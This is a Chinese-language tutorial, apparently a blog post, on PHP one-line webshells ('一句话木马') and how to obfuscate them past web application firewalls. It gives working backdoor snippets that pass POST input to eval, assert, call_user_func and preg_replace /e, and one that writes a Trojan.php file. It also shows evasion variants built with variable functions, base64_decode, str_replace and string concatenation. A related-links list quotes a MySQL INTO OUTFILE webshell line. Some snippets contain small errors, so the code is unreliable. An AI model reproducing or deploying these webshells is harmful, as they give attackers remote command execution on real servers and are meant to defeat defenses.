一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。

为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了发送的命令。

通过GET 、POST 、COOKIE这三种方式向一个网站提交数据

一句话木马用$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令

一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分

如:

<?php eval(@$_POST['a']); ?>
<?php assert(@$_POST['a']); ?>
<?php
@call_user_func(assert,$_POST['a']);
?>

注:

  call_user_func这个函数可以调用其它函数

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

注:

  在表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

waf是网站的防火墙,例如安全狗就是waf的一种。

waf通常以关键字判断是否为一句话木马,但是一句话木马的变形有很多种,waf根本不可能全部拦截。

想要绕过waf,需要掌握各种PHP小技巧,掌握的技巧多了,把技巧结合起来,设计出属于自己的一句话木马。

想要绕过waf,PHP小技巧

变量

<?php
$a = "eval";
$a(@$_POST['a']);
?>

可变变量

<?php
$bb="eval";
$a="bb";
$$aa($_POST['a']);
?>
str_replace
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
base64_decode
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

字符串连接

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
parse_str
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

这些技巧每一种单独使用都不能绕过waf,但是与 第三大点提到的函数混合起来使用,就可以顺利的欺骗waf。
tips:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。

<?php
function fun()
{return $_POST['a'];}
@preg_replace("/test/e",fun(),"test test test");
?>

php一句话木马的更多相关文章

  1. 渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  2. 通过mysql写入一句话木马

    USE mysql;# MySQL 返回的查询结果为空(即零行). # MySQL 返回的查询结果为空(即零行). CREATE TABLE a( cmd1 text NOT NULL );# MyS ...

  3. 通过mysql写入php一句话木马

    利用mysql写入一句话木马 前提: root权限,知道了服务器的web的绝对路径 select "<?php @eval($_POST['pass']);?>" IN ...

  4. 探索基于.NET下实现一句话木马之asmx篇

    0x01 前言 上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款a ...

  5. 探索基于.NET下实现一句话木马之ashx篇

    0x01 前言 在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句 笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终 ...

  6. 技术的正宗与野路子 c#, AOP动态代理实现动态权限控制(一) 探索基于.NET下实现一句话木马之asmx篇 asp.net core 系列 9 环境(Development、Staging 、Production)

    黄衫女子的武功似乎与周芷若乃是一路,飘忽灵动,变幻无方,但举手抬足之间却是正而不邪,如说周芷若形似鬼魅,那黄衫女子便是态拟神仙. 这段描写出自<倚天屠龙记>第三十八回. “九阴神抓”本是& ...

  7. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

  8. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...

  9. python写一个能生成三种一句话木马的脚本

    代码: import time import os from threading import Thread import optparse def aspyijuhua(): try: juy=op ...

随机推荐

  1. node+express上传图片

    注意: 别用multer 上传文件了,太坑了,普通文本获取不到,折腾了半天没有解决,最后采用 multiparty 解决了: <!DOCTYPE html><html> < ...

  2. 【11.8校内测试】【倒计时2天】【状压DP】【随机化?/暴力小模拟】

    Solution 数据范围疯狂暗示状压,可是一开始发现状态特别难受. 将每一层的奇偶性状压,预处理所有状态的奇偶性.每一层的输入代表的其实可以是下一层某个点可以被从这一层哪些点转移到. 所以枚举每个状 ...

  3. input输入框只能输入数字而且开头不能为零

    <div class="input-choseNum"> <input type="number" id="inp-chooseNu ...

  4. js实现文字超出部分用省略号代替实例代码

    关于超出一定字数用省略号显示的问题,这种要求在我们日常开发的时候经常见到,我们之前基本都是用CSS来完成的,今天给大家分享个Javascript实现这个功能的示例代码,有需要的可以参考借鉴. 话不多说 ...

  5. mongodb副本集 statestr状态说明/解释

    STARTUP:刚加入到复制集中,配置还未加载 STARTUP2:配置已加载完,初始化状态 RECOVERING:正在恢复,不适用读 ARBITER: 仲裁者 DOWN:节点不可到达 UNKNOWN: ...

  6. Linux 保护文件 不给修改

    chatter +i  file 文件不能删除,不能更改,不能移动 chatter -i  file  恢复 lsattr file 查看 ----i--------e-- file 修改会提示: f ...

  7. 1.2 Stream API

    引例: List<String> strList = Arrays.asList("zhaojigang","nana","tianya& ...

  8. Redis 常用监控信息命令总结

    查看启动到当前处理命令总数: # redis-cli info stats | grep total_commands total_commands_processed:23693286991 查看每 ...

  9. Spark机器学习(3):保序回归算法

    保序回归即给定了一个无序的数字序列,通过修改其中元素的值,得到一个非递减的数字序列,要求是使得误差(预测值和实际值差的平方)最小.比如在动物身上实验某种药物,使用了不同的剂量,按理说剂量越大,有效的比 ...

  10. python 网络工具 scapy 介绍

    作者介绍,这是个万能的网络工具,除了可以查看 TCP/IP 各层的报文,还可以发送报文.可以说是一个万能工具,作者嚣张的说, “it can replace hping, 85% of nmap, a ...